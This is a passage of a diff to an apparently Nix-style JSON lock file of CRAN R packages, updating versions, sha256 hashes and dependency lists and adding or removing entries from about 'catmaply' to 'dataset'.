"1sipdyjzxsi9n8f3wdg3lzhx531zsymirk8f6a1j770f9cfk37s0", + "version": "0.4.3", + "sha256": "0l2ar3hygavzd3nhdqa1galv3ap6kfzr6v96l3qwgmd1czvf72df", "depends": ["DBI", "RSQLite", "arrow", "dbplyr", "digest", "dplyr", "httr", "purrr", "readr", "rlang", "stringr", "tibble", "tidyr"] }, "canvasXpress": { @@ -49257,10 +49017,16 @@ }, "catmaply": { "name": "catmaply", - "version": "0.9.4", - "sha256": "1vjnh0qvqdfsv4p28yg5r4s9m0l0d7f1r07vamlhvhshb5cfnmsy", + "version": "0.9.5", + "sha256": "15g2q0rsxqym0hgv6m5y2kyz8za43y6ilga5crjw39zhivs3way4", "depends": ["dplyr", "magrittr", "plotly", "rlang", "tidyr"] }, + "catool": { + "name": "catool", + "version": "1.0.1", + "sha256": "0xkh9dh99yvs4vgl2vcidr8wsfq8a0gb4dwzyr1c4qfa39g4gsa1", + "depends": ["dplyr", "purrr", "rlang", "scales", "tibble"] + }, "catregs": { "name": "catregs", "version": "1.2.2", @@ -49399,10 +49165,16 @@ "sha256": "1vj8wxbplc8k02qfsdvmf20pxi1zdncdm6kpqyizllny3qr0sazg", "depends": ["LARF", "SuperLearner", "checkmate", "e1071", "fastDummies", "glmnet", "grf", "hdm", "mvtnorm", "np", "ranger", "sandwich", "xgboost"] }, + "causens": { + "name": "causens", + "version": "0.0.3", + "sha256": "0mkxhwld6s97dg4nw8c14b33zq7k23yha7sf9s26i43vz2h5jn7p", + "depends": [] + }, "caviarpd": { "name": "caviarpd", - "version": "0.3.16", - "sha256": "1cf85q0ldikpgxcwz75k5ainiyka0drk2ailc12r9wnrwlrly9jj", + "version": "0.3.20", + "sha256": "18s4z7qkmhjzzpdn639az1lmcya3v6j88nnc6ca1syjm5ac2wazp", "depends": [] }, "cba": { @@ -49579,12 +49351,6 @@ "sha256": "131ngns5nfkfp0wwf3hl0mhil7n040ss9ppshz4607rrk1ar9isf", "depends": ["MCMCpack", "RcppAlgos", "dplyr", "lavaan", "magrittr", "psych", "readr", "rlang", "tibble", "tidyr", "ufs", "xlsx"] }, - "ccrs": { - "name": "ccrs", - "version": "0.1.0", - "sha256": "1nyw4ip9v7y6yfbfdz3bwhy4r6hpp1hiip3ycldxlkl9wrxkxgrw", - "depends": ["cds", "colorspace", "dplyr", "limSolve", "lsbclust", "msm"] - }, "ccrtm": { "name": "ccrtm", "version": "0.1.6", @@ -49705,12 +49471,6 @@ "sha256": "13fd936by6b47hlbwidv0jdqav6c4r2llgf3cajvivlpi98vk7c7", "depends": ["dplyr", "httr", "jsonlite", "magrittr", "purrr", "rjson", "rlang", "rlist", "sf", "tidyr", "tidyselect"] }, - "cds": { - "name": "cds", - "version": "1.0.4", - "sha256": "1cyfx13ixgyayxbznj3jjwpm52sfp7z11x5yn77ks0lw0xsv89fm", - "depends": ["MASS", "clue", "colorspace", "copula", "limSolve"] - }, "ceRtainty": { "name": "ceRtainty", "version": "1.0.0", @@ -49941,8 +49701,8 @@ }, "cercospoRa": { "name": "cercospoRa", - "version": "0.0.1", - "sha256": "0bp76m2kj1hlr6ynq762vr1bvla16np5dlj64chmy38vx2026f8b", + "version": "0.0.2", + "sha256": "0nz1vdl0adibfriidnd79742vj3mch00bvvwkp5q1bdl2wvz1inv", "depends": ["circular", "data_table", "lubridate", "minpack_lm", "sf", "terra"] }, "cereal": { @@ -49951,6 +49711,12 @@ "sha256": "02s9hwp387dwzfbwwga05rxayk67zvj49hii7b4ksznynad7khsr", "depends": ["jsonlite", "rlang", "tibble", "vctrs"] }, + "ces": { + "name": "ces", + "version": "0.1.0", + "sha256": "0li48bclx113gqhs1plni4v1dyp5aakv87ll76k0a2c0ka675fw6", + "depends": ["dplyr", "haven", "tibble"] + }, "cesR": { "name": "cesR", "version": "0.1.0", @@ -50053,12 +49819,6 @@ "sha256": "172f9rkfhv4xzwpw8izsnsdbcw9p3hvxhh0fd8hzlkil7vskr3k8", "depends": ["Rcpp"] }, - "cgaim": { - "name": "cgaim", - "version": "1.0.1", - "sha256": "1krs61rbnz7v4pncbjlil4728x5xyz5vzbyj487njbmqgymq10wl", - "depends": ["MASS", "Matrix", "TruncatedNormal", "cgam", "coneproj", "doParallel", "foreach", "gratia", "limSolve", "mgcv", "osqp", "quadprog", "scam", "scar"] - }, "cgal4h": { "name": "cgal4h", "version": "0.1.0", @@ -50085,9 +49845,9 @@ }, "cgmanalysis": { "name": "cgmanalysis", - "version": "3.1.0", - "sha256": "1r668xicc9qm713svmaik4yyygpmics9rl78naslgxh5d25zbg7a", - "depends": ["MESS", "XML", "ggplot2", "lubridate", "parsedate", "pastecs", "pracma", "readr", "readxl", "zoo"] + "version": "3.1.1", + "sha256": "0rmv86n1q1h1algqk7g7865rm9lr7hkh8hylnjw6ahd04wyc4y39", + "depends": ["MESS", "XML", "ggplot2", "lubridate", "parsedate", "pastecs", "pracma", "readr", "readxl", "rlang", "zoo"] }, "cgmquantify": { "name": "cgmquantify", @@ -50101,12 +49861,6 @@ "sha256": "0nw9zmbx3d7jqvw0yjqnqxnk16fay5pg4hws6qk341ipixwfmcbf", "depends": ["gmp"] }, - "ch": { - "name": "ch", - "version": "0.1.0.2", - "sha256": "1ryh2xr1ix4qznq1svi4gdr4qy6v6rg597z2zl6zw32s2xq6ssx6", - "depends": ["MASS", "Ryacas", "clipr", "crayon", "ggplot2", "magrittr", "polynom", "pracma"] - }, "chainbinomial": { "name": "chainbinomial", "version": "0.1.5", @@ -50247,14 +50001,14 @@ }, "chattr": { "name": "chattr", - "version": "0.2.1", - "sha256": "0w0srhmy3kmfrbsivihk17k3pz7gvzd6rid19bbf0l7znsxg1ssx", - "depends": ["bslib", "callr", "cli", "clipr", "config", "fs", "glue", "httr2", "jsonlite", "lifecycle", "processx", "purrr", "rlang", "rstudioapi", "shiny", "yaml"] + "version": "0.3.0", + "sha256": "1h7b8l5ksigz4dwvk1q7fsd2ppss9qqmi8vzlcqdir6qh911s75h", + "depends": ["bslib", "cli", "clipr", "config", "coro", "ellmer", "fs", "glue", "httr2", "lifecycle", "processx", "purrr", "rlang", "rstudioapi", "shiny", "yaml"] }, "cheapr": { "name": "cheapr", - "version": "1.2.0", - "sha256": "0ak0pcpq60q8sgw4qf31mmiskkh7mz2knan43z2gb6fzal7zz9d4", + "version": "1.3.1", + "sha256": "1zm312mjly5kxk41vsz2vp5nc793xyghydkn906m55zk8n78dydn", "depends": ["collapse", "cpp11"] }, "cheatsheet": { @@ -50283,8 +50037,8 @@ }, "checked": { "name": "checked", - "version": "0.2.8", - "sha256": "12cv4gj2vlfzr80iyxbgqh10glv7linfdg7bf8sx406437wmagxb", + "version": "0.2.9", + "sha256": "1rpvkdglq9zhc1pilf1pg4avbpcf7hmmqv7zzwc5v5a31skgz7lb", "depends": ["R6", "callr", "cli", "igraph", "jsonlite", "options", "rcmdcheck"] }, "checker": { @@ -50401,6 +50155,12 @@ "sha256": "0b0lz8r48bvksjnh385p1ni22hw1yvs6255pjbpj49ga9dwziin0", "depends": ["cli", "magrittr", "purrr", "reticulate", "rsvg"] }, + "chess2plyrs": { + "name": "chess2plyrs", + "version": "0.3.0", + "sha256": "1dfb8yra762pkngkjk97yq5j67isppfh64a9am5qc95295c8s84x", + "depends": ["ggplot2"] + }, "chessboard": { "name": "chessboard", "version": "0.1", @@ -50551,6 +50311,12 @@ "sha256": "16a6qwnh08qdx3n5abgjrnmyiqqf3i1pap3y965ikb2r1jfr9b3f", "depends": [] }, + "chopper": { + "name": "chopper", + "version": "1.0", + "sha256": "0l25m7gda4qam0b9ac53smzhrb3zvrhmqbf5m9x85762fg7yls9i", + "depends": ["GeneralizedHyperbolic", "ald", "changepoint", "evd", "fGarch", "forecast", "ggplot2", "imputeTS", "lubridate", "normalp", "purrr", "scales"] + }, "chopthin": { "name": "chopthin", "version": "0.2.2", @@ -50817,8 +50583,8 @@ }, "circlizePlus": { "name": "circlizePlus", - "version": "0.9.0", - "sha256": "04lk0l1h5lcdkl3v3fwv6257ngv13hwfzfp6y9lwkjkn4m7l92h8", + "version": "0.9.1", + "sha256": "02m7ar7xldqws28cqxzchz2ww3p6p8mdarm5g8ghix05v3fy1hhl", "depends": ["circlize"] }, "circlus": { @@ -51261,8 +51027,8 @@ }, "climatol": { "name": "climatol", - "version": "4.1.0", - "sha256": "10znkynipb852y0j4kb16bhm4lcxdn5wy7vfx9ibcdwr06pv6kg7", + "version": "4.2-0", + "sha256": "0xg433g07mzjyqj6lxy0xmzvj2pq9s3kxxjzgdghji7d1hdxiz63", "depends": [] }, "climatrends": { @@ -51289,10 +51055,16 @@ "sha256": "0dvkwdb37aqvl9qanaw4b7in6b4vjih3xjy0j16qdr5w76jcn804", "depends": ["boot", "extRemes"] }, + "climodr": { + "name": "climodr", + "version": "1.0.0", + "sha256": "0900vi14mgm2gr85j1sdjd9a46spk79y0nj65g2c01g3lsl3zv7j", + "depends": ["CAST", "caret", "corrplot", "doParallel", "dplyr", "lares", "magrittr", "rlang", "stringr", "terra", "tidyr"] + }, "climwin": { "name": "climwin", - "version": "1.2.3", - "sha256": "1r2x5941k8l9z3517389y120sfhrskdpchc0pkibznza8aa95r85", + "version": "1.2.31", + "sha256": "0pjs0bg50jnqxgfl6mfa29w6nf82yzgyrav6n4d6qcnnk8mf7nrg", "depends": ["Matrix", "MuMIn", "RcppRoll", "evd", "ggplot2", "gridExtra", "lme4", "lubridate", "nlme", "numDeriv", "reshape"] }, "clinDR": { @@ -51325,6 +51097,12 @@ "sha256": "0dsbgj29s7c9pv6p2j3nvksnckym0gyb8hwqvks53mvy2pg9j1ni", "depends": ["mvtnorm"] }, + "clinical": { + "name": "clinical", + "version": "0.1", + "sha256": "144vng11m0y1v0wp58l9nifs49d5na39pwbqfnicjnhcfsv7yj03", + "depends": ["Matrix", "clinfun", "minerva"] + }, "clinicalomicsdbR": { "name": "clinicalomicsdbR", "version": "1.0.5", @@ -51469,12 +51247,6 @@ "sha256": "0qrx46q2vryfq88w6b8s1wzck4kx0hln41l98q65la1wnfn1ck0q", "depends": ["aws_s3", "cli", "desc", "dplyr", "glue", "googledrive", "httr", "rlang"] }, - "cloudml": { - "name": "cloudml", - "version": "0.6.1", - "sha256": "1j15q9yb2rc4fbjxfh21fiq6is8dnb8nfyi7g8iazgfwb3p9ahpx", - "depends": ["config", "jsonlite", "packrat", "processx", "rprojroot", "rstudioapi", "tfruns", "withr", "yaml"] - }, "cloudos": { "name": "cloudos", "version": "0.4.0", @@ -51709,6 +51481,12 @@ "sha256": "11f82p777n5qwiqig2anyi6dxpb75kkgslkq7ii3v9h111jk303m", "depends": ["cli", "proxy"] }, + "clustord": { + "name": "clustord", + "version": "1.3.4", + "sha256": "1x8c1b0ylmagwsnjim68c1i5n1igld7ff0nk58fxb57xj5619k6f", + "depends": ["MASS", "Rcpp", "RcppArmadillo", "RcppClock", "flexclust", "nnet"] + }, "clustra": { "name": "clustra", "version": "0.2.1", @@ -51945,8 +51723,8 @@ }, "cna": { "name": "cna", - "version": "4.0.0", - "sha256": "14agpky8x1wx4n33xyldxs6qfpy622811qbhpgr6qj27g2ny62lb", + "version": "4.0.3", + "sha256": "0xnhpl8fckgpj127g9k52f7gwf2j0nzzrx4c94nydx9n95jyzmqv", "depends": ["Matrix", "Rcpp", "car", "matrixStats"] }, "cnaOpt": { @@ -52407,8 +52185,8 @@ }, "collapse": { "name": "collapse", - "version": "2.1.1", - "sha256": "1fl2179r8qkd42pgb43p2bqkgld8cp6z7lrpy383njvw71pyzhz4", + "version": "2.1.2", + "sha256": "0qffq6gzh3yslj0zjkvsc7cz5wlczlpm6ag47cjszyjzb4wh2qiq", "depends": ["Rcpp"] }, "collapsibleTree": { @@ -52507,12 +52285,6 @@ "sha256": "1w6cambblq9g3ki8sxbq5wjpayrgj7g9jblwwhjpqk14hzms9nv5", "depends": ["Rfast", "matrixStats"] }, - "colocr": { - "name": "colocr", - "version": "0.1.1", - "sha256": "0ijykza6fdmwbr5zbyfjf382anrxh0lb9hlallyawfi6z076fv7j", - "depends": ["imager", "magick", "magrittr", "scales", "shiny"] - }, "colorBlindness": { "name": "colorBlindness", "version": "0.1.9", @@ -52539,8 +52311,8 @@ }, "colorSpec": { "name": "colorSpec", - "version": "1.7-0", - "sha256": "1zgnkb3p82cnzjgwk1j5rdksqjv7sb3y47wy9xjbs7s637ssd9a9", + "version": "1.8-0", + "sha256": "0gkdpkjrrxmsahkiiaypz28df1z7fh0g4hnblpp2dwsp88vc6jbn", "depends": ["logger"] }, "colorblindcheck": { @@ -52575,8 +52347,8 @@ }, "colorhcplot": { "name": "colorhcplot", - "version": "1.3.1", - "sha256": "009pyyb30kwshldd7v7zfy5rxys6i0dhlc5w8ail61acbg4rlrmz", + "version": "1.5.1", + "sha256": "10y014770s7c06vry7dzq3p5gmd0j7vsj9lrikmzswkixah862ra", "depends": [] }, "colorist": { @@ -52597,12 +52369,6 @@ "sha256": "0032ji9n8pivl70jppq989fgg781wil8zag7pfl1hs9xrpin8asy", "depends": ["V8", "ggplot2", "stringr"] }, - "colorpatch": { - "name": "colorpatch", - "version": "0.1.2", - "sha256": "18p9hgccp37pbdf437xffkv6z500896v08fsw2jm8zcl9ladygaf", - "depends": ["TSP", "colorspace", "ggplot2", "gridExtra"] - }, "colorplane": { "name": "colorplane", "version": "0.5.0", @@ -52717,6 +52483,12 @@ "sha256": "1pbd598xdk5xfckjy9pab4q9l48c88ynz4bjhg7pcyfjg77w3x14", "depends": ["Matrix", "car", "caret", "nlme"] }, + "combcoint": { + "name": "combcoint", + "version": "0.2.0", + "sha256": "0g3msng74b064v8jjc8a997x45h1syzz7cdwy9rf31wzfyv8cy9d", + "depends": ["Hmisc", "dplyr", "magrittr", "purrr", "stringr", "tibble", "tidyr", "tsDyn", "urca"] + }, "combinIT": { "name": "combinIT", "version": "2.0.0", @@ -52855,6 +52627,12 @@ "sha256": "1hs8w94qq9vjjd8a56gwwd28xq9z4pdrc29sl5hxg35sqjy7fcgb", "depends": [] }, + "compareCstat": { + "name": "compareCstat", + "version": "0.1.0", + "sha256": "0h17ibnnp166yhdkz460608d285qy8lvz17kbg8fm44w8ylixnfq", + "depends": ["boot"] + }, "compareDF": { "name": "compareDF", "version": "2.3.5", @@ -53085,8 +52863,8 @@ }, "cond": { "name": "cond", - "version": "1.2-3.1", - "sha256": "1j0gf28mg2j6ahs83nk662bix1lb2c9184vn8sblw433zxqaa2ny", + "version": "1.2-4", + "sha256": "0wf85rp42bvcfk593a4rvf8bnqz09vd3asg4g8pl5nikzm5vcnsw", "depends": ["statmod", "survival"] }, "condGEE": { @@ -53115,8 +52893,8 @@ }, "condathis": { "name": "condathis", - "version": "0.1.1", - "sha256": "1fd9g419gfq0rglwn77nvii6956q02j05m32x2knily6a5vqqlmd", + "version": "0.1.2", + "sha256": "1y5wy8imakzpd1v78h885njfcrq3kffiqm2mzk4aw78mb3zzzk6v", "depends": ["cli", "fs", "jsonlite", "processx", "rlang", "stringr", "tibble", "withr"] }, "condensr": { @@ -53319,8 +53097,8 @@ }, "conjoint": { "name": "conjoint", - "version": "1.41", - "sha256": "1iq3226a6fn1gddmh2nxlzvjcvbj7502r9520g9d4xdmk8smfx33", + "version": "1.42", + "sha256": "0pb4cbh8blaiwa88czg93y0rz72w182szf5g024ipv16aiwc5gsq", "depends": ["AlgDesign", "broom", "cluster", "fpc", "ggfortify", "ggplot2"] }, "conjurer": { @@ -53793,8 +53571,8 @@ }, "corbouli": { "name": "corbouli", - "version": "0.1.4", - "sha256": "0a89s50waz2qh0sp0xqihm37p4zac1fkw20gdpxhqavgz59gjja8", + "version": "0.1.5", + "sha256": "0kzq1gk8la49vzpa2k3nsi7jzwdb6zffd304scm1543h00ikvbyr", "depends": [] }, "corclass": { @@ -53919,8 +53697,8 @@ }, "corpora": { "name": "corpora", - "version": "0.6", - "sha256": "1l1dnnm9zvgxr7jrqrz0a9m5dwz7mra0mr3i9qxjvgrzc6n6cxw8", + "version": "0.7", + "sha256": "1j6ani870b903iz00dy1wxmszprl0mg2x0z5bpia31wx73b2vpsc", "depends": [] }, "corporaexplorer": { @@ -53965,12 +53743,6 @@ "sha256": "1blwngvvh316ndfrz2gmi6gq2w08sdckqvdsn4xpzhd4q4nbff5q", "depends": ["DendSer", "GGally", "circlize", "gganimate", "ggplot2", "ggraph", "igraph", "plotly", "purrr", "shiny", "visNetwork"] }, - "corrarray": { - "name": "corrarray", - "version": "1.2.0", - "sha256": "1hsk425xjz9p3wwvia7h78dg24qsr5r977xm2ap5z40ah1bw7bzi", - "depends": ["Hmisc"] - }, "corrcoverage": { "name": "corrcoverage", "version": "1.2.1", @@ -53991,8 +53763,8 @@ }, "correlatio": { "name": "correlatio", - "version": "0.1.0", - "sha256": "14przr8svag707xndy73gp5m48m3fnjpgv457zs63rnvzvj4vx0g", + "version": "0.2.1", + "sha256": "1xaz4al8hzzg9yqczar53h4v4k1a99q1q3lmv1ng4qyinyrkqvq6", "depends": ["Rdpack", "ggplot2", "tibble"] }, "correlation": { @@ -54037,12 +53809,6 @@ "sha256": "12dhvwaprdmzxxk52w8sb3cx99dmzb9yhcm01pri0vcz671p57v1", "depends": [] }, - "corrgrapher": { - "name": "corrgrapher", - "version": "1.0.4", - "sha256": "0s10n2av6dyjz6x4wvznpcbvpp63v6k3r9whkqsg7fiy9m3d4dr9", - "depends": ["ggplot2", "htmltools", "ingredients", "knitr", "visNetwork"] - }, "corrmeta": { "name": "corrmeta", "version": "1.0.0", @@ -54243,8 +54009,8 @@ }, "countries": { "name": "countries", - "version": "1.2.1", - "sha256": "1725inz8syg2smcw224bn6kayy3p7icj44wyywy50rbvcaq9654q", + "version": "1.2.2", + "sha256": "1c9nc4z6i08m4ijsxjhyw1h89q8nr2s95n6lxybckmr5z0gasc6v", "depends": ["dplyr", "fastmatch", "ggplot2", "httr", "jsonlite", "knitr", "lubridate", "stringdist", "stringr", "tidyr", "viridis"] }, "countrycode": { @@ -54573,8 +54339,8 @@ }, "cpfa": { "name": "cpfa", - "version": "1.1-8", - "sha256": "1zz097apm6i2b4q93ilvfgk5a29amxkrs97fdi8xnf0ss9c9xxi9", + "version": "1.2-0", + "sha256": "19xmrhk12ri8wd1p43wl3g362xzidnk232lv06i9lsy01jzmqgxx", "depends": ["doParallel", "e1071", "foreach", "glmnet", "multiway", "nnet", "randomForest", "rda", "xgboost"] }, "cpi": { @@ -54615,8 +54381,8 @@ }, "cpop": { "name": "cpop", - "version": "1.0.7", - "sha256": "082ny87ph3wz5kbp2i4yzf9g6r3bihbgfynv060fy6sv0xb9hxc1", + "version": "1.0.8", + "sha256": "09jyv0a84c72nmn4azb4zfyf781yh8rpx2xpsn15nyp6dzak2dmc", "depends": ["Rcpp", "Rdpack", "crops", "ggplot2", "mathjaxr", "pacman", "pracma"] }, "cpp11": { @@ -54627,8 +54393,8 @@ }, "cpp11armadillo": { "name": "cpp11armadillo", - "version": "0.5.0", - "sha256": "0vym0v3ypd4g6rq6s7200f3zg9lfwa6zapk7ph1hjhrnp7kvvdcs", + "version": "0.5.2", + "sha256": "0gck7wzp4z75z57xxg0k4bcc2my9xmzy387msvmlapmq0mw6yxfz", "depends": ["cpp11"] }, "cpp11bigwig": { @@ -54663,8 +54429,8 @@ }, "cppdoubles": { "name": "cppdoubles", - "version": "0.3.0", - "sha256": "0f4fdq24gamr1vl92mnganx6q4hjr7sv0riwqzn9hhhjh9g9lpvs", + "version": "0.4.0", + "sha256": "0rvkiasclkvz9qshm69h7nc65b83yl55z3hvm6596ir6zlr1nlid", "depends": ["cpp11"] }, "cpr": { @@ -54873,20 +54639,20 @@ }, "crew": { "name": "crew", - "version": "1.1.2", - "sha256": "03ygyvwh418mp0vx98vdavyr6xdwi9qcb7pyj56xxba06cymdgch", - "depends": ["R6", "cli", "data_table", "getip", "later", "mirai", "nanonext", "processx", "promises", "ps", "rlang", "tibble", "tidyselect"] + "version": "1.2.1", + "sha256": "032z2yllk2h98bi8qv39czmp48gwsaa10f7spv3caz12vccfflj8", + "depends": ["R6", "cli", "data_table", "later", "mirai", "nanonext", "processx", "promises", "ps", "rlang", "tibble", "tidyselect"] }, "crew_aws_batch": { "name": "crew.aws.batch", - "version": "0.0.10", - "sha256": "0586jl73apxxiw9wxdga83zzki44a3gc3f76dnm6ry6p1kkmfhsn", + "version": "0.0.11", + "sha256": "03kr765p9rzfr6xdn5wbbrs4q9k0bzlhh7r3vy6qji8fzlcdghlz", "depends": ["R6", "cli", "crew", "paws_common", "paws_compute", "paws_management", "rlang", "tibble"] }, "crew_cluster": { "name": "crew.cluster", - "version": "0.3.7", - "sha256": "1vfq13v6cjv0fn2hq4h684ra17k2m1b6jz1viccnpn1fvyrylvh6", + "version": "0.3.8", + "sha256": "15yixxsvcgl160app6a59vdmbwc0q9ns5qyc70kdj0x2xyihxylr", "depends": ["R6", "crew", "lifecycle", "ps", "rlang", "vctrs", "xml2", "yaml"] }, "cricketdata": { @@ -54951,8 +54717,8 @@ }, "critpath": { "name": "critpath", - "version": "0.2.2", - "sha256": "0y9vbsdppi8xir1rvk8j7zvj69gjmc2whpqfcklws898rcnwck1f", + "version": "0.2.3", + "sha256": "08mbnki6m8i29r2mrf1fxpc6zv405984kc2nkxb32kiz4skdm170", "depends": ["DiagrammeR", "dplyr", "ggplot2", "reshape2", "stringr"] }, "crm12Comb": { @@ -55135,12 +54901,6 @@ "sha256": "075x9xk271vnvkhbsyqzwhacz35aw86jynz7cjhzkrsmslrsc5j1", "depends": ["haven", "labelled", "readr", "readxl", "tibble"] }, - "crossword_r": { - "name": "crossword.r", - "version": "0.3.6", - "sha256": "1s31613s4qxxspka9bhgq3rq8xraf48mwfv6phvz6v06gijh64lr", - "depends": ["R6", "dplyr", "jsonlite", "magrittr", "r6extended", "stringr"] - }, "crov": { "name": "crov", "version": "0.3.0", @@ -55201,12 +54961,6 @@ "sha256": "1r10vz8z5y52a5v5phw22fhqwv9p7g66xfsx0906bcx74dn3f2b3", "depends": ["foreach"] }, - "crsra": { - "name": "crsra", - "version": "0.2.3", - "sha256": "1rkqm88zmvp9gw442cby6qpvfw4pfw65wz0gyl2h37w87c3wwvrw", - "depends": ["digest", "dplyr", "knitr", "purrr", "rcorpora", "readr", "tibble", "tidytext"] - }, "crsuggest": { "name": "crsuggest", "version": "0.4", @@ -55317,8 +55071,8 @@ }, "csampling": { "name": "csampling", - "version": "1.2-2.1", - "sha256": "0kqx7j96yafsqi9cz551fqpwkbcabxl8zpwa2jms862z41xbgsv3", + "version": "1.2-4.1", + "sha256": "0m92bg608p5lpzhdc892z1h7wmz9rqblxy7hsmlp969ii9pf59fh", "depends": ["marg", "statmod", "survival"] }, "csci": { @@ -55425,8 +55179,8 @@ }, "csurvey": { "name": "csurvey", - "version": "1.11", - "sha256": "1359hz1cy59wyh7fgsxvkhsvrnhx803mgql4ccadv10qq124n6xd", + "version": "1.12", + "sha256": "1yvnillhdxi349wywgikjrp17z5zfrzx41c48lsp8qzkn1kml281", "depends": ["MASS", "Matrix", "cgam", "coneproj", "data_table", "dplyr", "ggplot2", "igraph", "purrr", "survey", "tibble", "zeallot"] }, "csutil": { @@ -55459,12 +55213,6 @@ "sha256": "0id015szw1c63vd1h0515jsqdhyn32sxpxm89f3sb1qkgq3yynmy", "depends": ["data_table", "jsonlite", "yaml"] }, - "cta": { - "name": "cta", - "version": "1.3.0", - "sha256": "1i8psw6p6f4633ad17apm6v5ikrpv1dagm0s8pggpsjbbw8d655v", - "depends": ["intervals", "limSolve", "numDeriv"] - }, "ctablerseh": { "name": "ctablerseh", "version": "1.1.2", @@ -55543,12 +55291,6 @@ "sha256": "0nfn6l31bsifrb1szsrig6l4023svsr81lqnq072yi6441klyf81", "depends": ["fda", "polynom"] }, - "ctpm": { - "name": "ctpm", - "version": "1.0.1", - "sha256": "1bycdh3mbimmfvv3yb50c8rwcmkbjj0jwnfiynsp2h56y3dmzc1r", - "depends": ["ClusterR", "ape", "ctmm", "slouch"] - }, "ctqr": { "name": "ctqr", "version": "2.1", @@ -55557,8 +55299,8 @@ }, "ctrdata": { "name": "ctrdata", - "version": "1.22.2", - "sha256": "1hd83s3il732yfhizw0jdbiv2vqxk5famb86372giaw0q1fm75rz", + "version": "1.22.3", + "sha256": "0a2y6swr1695grarjfp71q0cnlh3cmi1s35srvjg2fn82kw4svby", "depends": ["V8", "clipr", "countrycode", "curl", "digest", "dplyr", "htmlwidgets", "httr", "jqr", "jsonlite", "lubridate", "nodbi", "readr", "rlang", "stringdist", "stringi", "tibble", "tidyr", "xml2", "zip"] }, "ctrialsgov": { @@ -55635,8 +55377,8 @@ }, "cubature": { "name": "cubature", - "version": "2.1.3", - "sha256": "1vpiiw40kxmm0s8qfz3582f77wjzknipykx9rpmqv4p2mjcghaz6", + "version": "2.1.4", + "sha256": "189dha6wj09zgb074baj4k6hj8dch71nhfx3j2b7wg82z6049iq1", "depends": ["Rcpp"] }, "cubble": { @@ -55693,12 +55435,6 @@ "sha256": "0rmncp4mrdpf3izhhqn9406i36j3d3d7i8cglip04lkfbypl9jvy", "depends": ["Hmisc", "combinat", "pspearman", "stringi"] }, - "cumSeg": { - "name": "cumSeg", - "version": "1.3", - "sha256": "0n1hp0abnd6zn72fkgkj9k875vivn5kr3q76sjy6q6va7x24j6sg", - "depends": ["lars"] - }, "cumprinc": { "name": "cumprinc", "version": "0.1", @@ -55749,8 +55485,8 @@ }, "curl": { "name": "curl", - "version": "6.2.2", - "sha256": "0ffwfv9f3wlih4j9yxzjqx3lf9vrgrilm0h9ng2ymf6gfaqds5xd", + "version": "6.3.0", + "sha256": "0qq6pi1dzkdvnddx7azkanq6amp9bdn2k9qddlmgrnbfllk6x8kb", "depends": [] }, "currencyapi": { @@ -55869,8 +55605,8 @@ }, "cutpointr": { "name": "cutpointr", - "version": "1.2.0", - "sha256": "14zvdq5p1hhd6y0xzf761q2kh217rra25ihl17jipakf61zbf88m", + "version": "1.2.1", + "sha256": "02pjzz6bn52cvw4plajynyj38r8abaflp9q2spx1bgwfdwnyxn7k", "depends": ["Rcpp", "dplyr", "foreach", "ggplot2", "gridExtra", "purrr", "rlang", "tibble", "tidyr", "tidyselect"] }, "cv": { @@ -55935,9 +55671,9 @@ }, "cvdprevent": { "name": "cvdprevent", - "version": "0.2.1", - "sha256": "14f9wpg4bjl918j1i23kchdw2dnyvnr3rwh5msghjm94js1l9z87", - "depends": ["cli", "dplyr", "glue", "httr2", "jsonlite", "purrr", "tidyr"] + "version": "0.2.2", + "sha256": "1n44j83yanrppwln5n0ixwyzazw0fsvq3q5fxcj64pn6cmbrcsv1", + "depends": ["cli", "dplyr", "glue", "httr2", "jsonlite", "purrr", "tibble", "tidyr"] }, "cvequality": { "name": "cvequality", @@ -56019,8 +55755,8 @@ }, "cyclomort": { "name": "cyclomort", - "version": "1.0.2", - "sha256": "0qmfwhrp7bq7av0yc95xnz2sd1jxfaiys9smrk1kpclnynnra9rr", + "version": "1.0.3", + "sha256": "0hmndpw5ybijpbhs61xjpyg77gk6w20wh99i09sjb07jig11n6cb", "depends": ["flexsurv", "lubridate", "magrittr", "mvtnorm", "plyr", "scales", "survival"] }, "cyclotomic": { @@ -56241,8 +55977,8 @@ }, "dad": { "name": "dad", - "version": "4.1.5", - "sha256": "1bpjgwd739l661ri78a8iq3jhrawrn9g9awjrsdwmvw10gd9skmh", + "version": "4.1.6", + "sha256": "0xhihbz3qg5f1ijavi3l30f80aalik65ywg04wdfcadfl3s0n9dl", "depends": ["DescTools", "e1071", "ggplot2"] }, "dadjoke": { @@ -56487,8 +56223,8 @@ }, "data_table": { "name": "data.table", - "version": "1.17.2", - "sha256": "0nqwkxkkw6n7pzsyxhyijdl1jjbkvgzzqwqzz4gbzgn957c3fh01", + "version": "1.17.4", + "sha256": "0lq774b5nyjc5k30mbg6834wzwihx72cc35nf0032jc2wfhb4vir", "depends": [] }, "data_table_threads": { @@ -56563,6 +56299,12 @@ "sha256": "0am07lj0jcb3fgirbb5y5354mznc7262fiyi10bncv5qmxgzmaxx", "depends": ["curl", "httr2", "jsonlite", "lubridate", "readr", "xml2"] }, + "dataSDA": { + "name": "dataSDA", + "version": "0.1.2", + "sha256": "1xdgv9cnpjw2iw4kqzvy1nbi6sdh6bzbi1n6sk3c388vhzgkms79", + "depends": ["HistDAWass", "RSDA", "dplyr", "magrittr", "tidyr"] + }, "datacleanr": { "name": "datacleanr", "version": "1.0.5", @@ -56619,9 +56361,9 @@ }, "datana": { "name": "datana", - "version": "1.0.8", - "sha256": "1diyk2j4dlqx4q6ddw7cx7a5k0a53l76c7i43p4awkkh2fcmz16r", - "depends": ["ggplot2"] + "version": "1.1.0", + "sha256": "0f83hp1gcc5dn4lxr28ia9sa46lsmsj83vdg6k3fdvch036mlaag", + "depends": ["Hmisc", "ggplot2"] }, "datanugget": { "name": "datanugget", @@ -56649,8 +56391,8 @@ }, "datapackage": { "name": "datapackage", - "version": "0.2.1", - "sha256": "1gyc5n21n3qdg5p9i1si8x4jqv7ik2qm8kmxbs0mm9h95fvnqykp", + "version": "0.2.3", + "sha256": "0ccf1059j3sni61f55hwk7rn74h3yjqlrihjxjgiwn4sc7b8p5fx", "depends": ["iso8601", "jsonlite", "yaml"] }, "datapasta": { @@ -56709,9 +56451,9 @@ }, "dataset": { "name": "dataset", - "version": "0.3.4", - "sha256": "1hcab09cfnim1w52v7165nfs860dzj84vxwxlxa03sl519s1vjq8", - "depends": ["ISOcodes", "assertthat", "cli", "haven", "labelled", "pillar", "rlang", "tibble", "vctrs"] + "version": "0.3.9", + "sha256": "1z2am4ln51ybkrm8i763n9ddksjc2wsjad2kvvpc511v0pyakv1m", + "depends": ["ISOcodes", 